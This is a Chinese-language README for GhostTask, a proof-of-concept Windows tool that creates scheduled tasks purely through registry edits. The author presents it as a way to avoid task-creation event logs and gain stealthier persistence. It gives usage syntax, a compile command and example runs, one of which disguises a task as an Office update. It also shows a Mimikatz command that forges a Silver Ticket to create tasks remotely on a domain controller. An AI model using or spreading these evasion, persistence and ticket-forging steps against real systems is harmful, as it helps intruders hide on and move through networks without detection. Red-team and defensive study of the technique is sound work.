受 WithSecure 关于 计划任务篡改 的研究启发,他们解释了仅通过注册表键操作创建计划任务的可行性。这种方法可以绕过计划任务创建事件日志(如 4698 和 106)的生成,从而提供更隐蔽的持久化方式。基于这些见解,我开发了这个 POC,演示如何通过直接操作注册表来创建计划任务。
创建一个新的计划任务需要添加多个注册表键及其关联的值。由于与计划任务相关的注册表值的结构未公开记录,我构建这些结构的方法主要依赖于反复试验,并通过与合法计划任务的注册表值进行对比来指导。此外,我还参考了 Taskschd.h 头文件中的接口,并大量借鉴了 Cyber.WTF 的 Windows 注册表分析——今日主题:任务。这项研究在指导我制定每个注册表值的结构方面非常宝贵,例如 Triggers、Actions 和 DynamicInfo,这些对于构建一个可运行的计划任务至关重要。
该工具提供以下功能:
BruteRatel's memexec)运行。*备注:
ScheduledTaskCreated 操作类型)。Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: 远程计算机名称或 "localhost"。
- operation: add/delete
- add: 仅使用注册表键创建或修改计划任务。需要重新启动 "Schedule" 服务以加载任务定义。
- delete: 删除计划任务。需要重新启动 "Schedule" 服务以卸载任务。
- taskname: 计划任务的名称。
- program: 要执行的程序。
- argument: 程序的参数。
- username: 计划任务运行时使用的用户账户。
- scheduletype: 支持的触发器:second、daily、weekly 和 logon。
- time/second(适用于 'second'、'daily' 和 'weekly' 触发器):
- 对于 'second' 触发器:指定任务执行的频率(以秒为单位)。
- 对于 'daily' 和 'weekly' 触发器:指定任务执行的具体时间(例如 22:30)。
- day(适用于 'weekly' 触发器):执行计划任务的天数(例如 monday、thursday)。
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

如 WithSecure 博客(额外:横向移动 部分)所述,此技术可用于通过特制的 Silver Ticket 远程创建新的计划任务。
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
在 DC01 服务器上远程创建一个新的计划任务,每天下午 3:19 启动 notepad.exe:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
